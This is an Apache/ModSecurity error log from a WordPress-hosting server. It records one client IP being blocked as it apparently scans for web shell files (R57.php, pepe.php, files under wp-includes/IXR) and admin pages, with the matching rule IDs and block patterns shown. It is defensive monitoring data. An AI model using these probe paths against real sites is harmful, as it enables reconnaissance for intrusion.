[Fri Feb 27 15:43:48.422745 2026] [:error] [pid 54101:tid 54110] [client 52.169.148.186:17367] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aaFLNFY5qgRktcYTGFsdzgAAAcI"]
[Fri Feb 27 15:43:48.942695 2026] [:error] [pid 54102:tid 54160] [client 52.169.148.186:17363] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6s2.php"] [unique_id "aaFLNHi74D4fiYUm_GdEWwAAAJA"]
[Fri Feb 27 15:43:49.445760 2026] [:error] [pid 62998:tid 63023] [client 52.169.148.186:17376] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6s2.php"] [unique_id "aaFLNVQeueXZDUmoLonnMwAAARU"]
[Fri Feb 27 15:43:49.944130 2026] [:error] [pid 54102:tid 54168] [client 52.169.148.186:2662] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6s2.php"] [unique_id "aaFLNXi74D4fiYUm_GdEXQAAAJc"]
[Fri Feb 27 15:43:50.447314 2026] [:error] [pid 62998:tid 63026] [client 52.169.148.186:19019] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6s2.php"] [unique_id "aaFLNlQeueXZDUmoLonnNAAAARg"]
[Fri Feb 27 15:43:50.951077 2026] [:error] [pid 62998:tid 63001] [client 52.169.148.186:3279] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aki.php"] [unique_id "aaFLNlQeueXZDUmoLonnNgAAAQA"]
[Fri Feb 27 15:43:51.455436 2026] [:error] [pid 62998:tid 63013] [client 52.169.148.186:9245] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aki.php"] [unique_id "aaFLN1QeueXZDUmoLonnNwAAAQs"]
[Fri Feb 27 15:43:51.954689 2026] [:error] [pid 56075:tid 56091] [client 52.169.148.186:19010] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aki.php"] [unique_id "aaFLN8KBhrfI6KNv9RgdlAAAAA0"]
[Fri Feb 27 15:43:52.489856 2026] [:error] [pid 56075:tid 56079] [client 52.169.148.186:9228] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aki.php"] [unique_id "aaFLOMKBhrfI6KNv9RgdlgAAAAI"]
[Fri Feb 27 15:43:53.002182 2026] [:error] [pid 52073:tid 52094] [client 52.169.148.186:7203] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaFLOYa650YPyxXVeRZUAQAAAZI"]
[Fri Feb 27 15:43:53.509852 2026] [:error] [pid 54103:tid 54186] [client 52.169.148.186:1647] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaFLOevG4MPCmE0B2sBxHwAAAM8"]
[Fri Feb 27 15:43:54.031407 2026] [:error] [pid 56075:tid 56102] [client 52.169.148.186:18490] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaFLOsKBhrfI6KNv9RgdmAAAABg"]
[Fri Feb 27 15:43:54.555616 2026] [:error] [pid 52073:tid 52097] [client 52.169.148.186:6612] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaFLOoa650YPyxXVeRZUBQAAAZU"]
[Fri Feb 27 15:43:55.057018 2026] [:error] [pid 56075:tid 56082] [client 52.169.148.186:2168] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aaFLO8KBhrfI6KNv9RgdmwAAAAU"]
[Fri Feb 27 15:43:55.587939 2026] [:error] [pid 54231:tid 54241] [client 52.169.148.186:19691] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aaFLO-Tvb5AeyJCdY7DJCwAAAEc"]
[Fri Feb 27 15:43:56.087623 2026] [:error] [pid 56075:tid 56084] [client 52.169.148.186:19295] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aaFLPMKBhrfI6KNv9RgdnwAAAAc"]
[Fri Feb 27 15:43:56.602025 2026] [:error] [pid 56075:tid 56095] [client 52.169.148.186:3271] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pepe.php"] [unique_id "aaFLPMKBhrfI6KNv9RgdoQAAABE"]
[Fri Feb 27 15:43:57.105524 2026] [:error] [pid 52073:tid 52095] [client 52.169.148.186:6669] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aaFLPYa650YPyxXVeRZUCQAAAZM"]
[Fri Feb 27 15:43:57.610129 2026] [:error] [pid 52073:tid 52090] [client 52.169.148.186:2629] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aaFLPYa650YPyxXVeRZUCwAAAY4"]
[Fri Feb 27 15:43:58.115964 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:10217] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aaFLPoa650YPyxXVeRZUDAAAAYs"]
[Fri Feb 27 15:43:58.617688 2026] [:error] [pid 54102:tid 54144] [client 52.169.148.186:9274] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aaFLPni74D4fiYUm_GdEXgAAAIA"]
[Fri Feb 27 15:43:59.125270 2026] [:error] [pid 56075:tid 56078] [client 52.169.148.186:6673] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaFLP8KBhrfI6KNv9RgdpAAAAAE"]
[Fri Feb 27 15:43:59.688314 2026] [:error] [pid 54101:tid 54126] [client 52.169.148.186:9247] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaFLP1Y5qgRktcYTGFsd1AAAAdI"]
[Fri Feb 27 15:44:00.212802 2026] [:error] [pid 56075:tid 56100] [client 52.169.148.186:6808] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaFLQMKBhrfI6KNv9RgdswAAABY"]
[Fri Feb 27 15:44:00.759045 2026] [:error] [pid 49306:tid 49329] [client 52.169.148.186:3890] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaFLQPnSUDZue59Px9toQgAAAVU"]
[Fri Feb 27 15:44:01.262022 2026] [:error] [pid 49306:tid 49331] [client 52.169.148.186:6690] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaFLQfnSUDZue59Px9toRwAAAVc"]
[Fri Feb 27 15:44:01.794497 2026] [:error] [pid 49306:tid 49325] [client 52.169.148.186:3622] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaFLQfnSUDZue59Px9toSQAAAVE"]
[Fri Feb 27 15:44:02.317901 2026] [:error] [pid 52073:tid 52099] [client 52.169.148.186:4716] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaFLQoa650YPyxXVeRZUIwAAAZc"]
[Fri Feb 27 15:44:02.852840 2026] [:error] [pid 54102:tid 54145] [client 52.169.148.186:1603] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaFLQni74D4fiYUm_GdEYAAAAIE"]
[Fri Feb 27 15:44:03.389157 2026] [:error] [pid 54102:tid 54147] [client 52.169.148.186:1964] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaFLQ3i74D4fiYUm_GdEYQAAAIM"]
[Fri Feb 27 15:44:03.889703 2026] [:error] [pid 56075:tid 56097] [client 52.169.148.186:1947] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaFLQ8KBhrfI6KNv9RgdwgAAABM"]
[Fri Feb 27 15:44:04.397798 2026] [:error] [pid 54102:tid 54154] [client 52.169.148.186:2146] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaFLRHi74D4fiYUm_GdEYwAAAIo"]
[Fri Feb 27 15:44:04.908464 2026] [:error] [pid 62998:tid 63023] [client 52.169.148.186:6811] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaFLRFQeueXZDUmoLonnRgAAARU"]
[Fri Feb 27 15:44:05.453526 2026] [:error] [pid 54231:tid 54246] [client 52.169.148.186:6676] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaFLReTvb5AeyJCdY7DJEQAAAEw"]
[Fri Feb 27 15:44:05.955843 2026] [:error] [pid 54103:tid 54183] [client 52.169.148.186:2163] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaFLRevG4MPCmE0B2sBxKAAAAMw"]
[Fri Feb 27 15:44:06.462743 2026] [:error] [pid 54101:tid 54127] [client 52.169.148.186:3852] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaFLRlY5qgRktcYTGFsd2AAAAdM"]
[Fri Feb 27 15:44:06.971757 2026] [:error] [pid 54101:tid 54115] [client 52.169.148.186:3405] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaFLRlY5qgRktcYTGFsd2QAAAcc"]
[Fri Feb 27 15:44:07.474148 2026] [:error] [pid 49306:tid 49330] [client 52.169.148.186:1656] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaFLR_nSUDZue59Px9toTgAAAVY"]
[Fri Feb 27 15:44:07.972792 2026] [:error] [pid 49306:tid 49329] [client 52.169.148.186:10204] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaFLR_nSUDZue59Px9toUgAAAVU"]
[Fri Feb 27 15:44:08.476667 2026] [:error] [pid 49306:tid 49316] [client 52.169.148.186:4710] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaFLSPnSUDZue59Px9toagAAAUg"]
[Fri Feb 27 15:44:08.991520 2026] [:error] [pid 54231:tid 54239] [client 52.169.148.186:2672] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaFLSOTvb5AeyJCdY7DJFAAAAEU"]
[Fri Feb 27 15:44:09.538331 2026] [:error] [pid 54103:tid 54178] [client 52.169.148.186:7793] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/daff42833e.php"] [unique_id "aaFLSevG4MPCmE0B2sBxLQAAAMc"]
[Fri Feb 27 15:44:10.058630 2026] [:error] [pid 54231:tid 54247] [client 52.169.148.186:4329] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/daff42833e.php"] [unique_id "aaFLSuTvb5AeyJCdY7DJFgAAAE0"]
[Fri Feb 27 15:44:10.638446 2026] [:error] [pid 54101:tid 54119] [client 52.169.148.186:6596] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/daff42833e.php"] [unique_id "aaFLSlY5qgRktcYTGFsd3AAAAcs"]
[Fri Feb 27 15:44:11.168957 2026] [proxy_fcgi:error] [pid 54103:tid 54186] [client 52.169.148.186:2680] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:44:12.426960 2026] [:error] [pid 54103:tid 54189] [client 52.169.148.186:2680] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/pu8.php"] [unique_id "aaFLTOvG4MPCmE0B2sBxNAAAANI"]
[Fri Feb 27 15:44:12.930973 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:3450] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/pu9.php"] [unique_id "aaFLTIa650YPyxXVeRZULwAAAYs"]
[Fri Feb 27 15:44:13.431210 2026] [:error] [pid 62998:tid 63026] [client 52.169.148.186:12663] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/povoy.php"] [unique_id "aaFLTVQeueXZDUmoLonnWAAAARg"]
[Fri Feb 27 15:44:13.963652 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:3429] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/t00l.php"] [unique_id "aaFLTYa650YPyxXVeRZUMgAAAZE"]
[Fri Feb 27 15:44:14.519663 2026] [:error] [pid 56075:tid 56097] [client 52.169.148.186:6705] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/rcc8.php"] [unique_id "aaFLTsKBhrfI6KNv9Rgd0QAAABM"]
[Fri Feb 27 15:44:15.045332 2026] [:error] [pid 56075:tid 56098] [client 52.169.148.186:2137] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/rcc9.php"] [unique_id "aaFLT8KBhrfI6KNv9Rgd0gAAABQ"]
[Fri Feb 27 15:44:15.588511 2026] [:error] [pid 52073:tid 52080] [client 52.169.148.186:2159] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/xl9.php"] [unique_id "aaFLT4a650YPyxXVeRZUNQAAAYQ"]
[Fri Feb 27 15:44:16.087997 2026] [:error] [pid 52073:tid 52078] [client 52.169.148.186:11652] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/gxoxx.php"] [unique_id "aaFLUIa650YPyxXVeRZUOAAAAYI"]
[Fri Feb 27 15:44:16.590084 2026] [:error] [pid 52073:tid 52089] [client 52.169.148.186:11604] [client 52.169.148.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/g06akt.php"] [unique_id "aaFLUIa650YPyxXVeRZUPAAAAY0"]
[Fri Feb 27 15:44:17.153412 2026] [proxy_fcgi:error] [pid 52073:tid 52085] [client 52.169.148.186:4875] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:44:17.445565 2026] [proxy_fcgi:error] [pid 52073:tid 52080] [client 52.169.148.186:4875] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:44:17.736806 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 52.169.148.186:4875] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:44:18.328795 2026] [proxy_fcgi:error] [pid 52073:tid 52090] [client 52.169.148.186:4875] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 15:44:18.621972 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 52.169.148.186:4875] AH01071: Got error 'Primary script unknown'
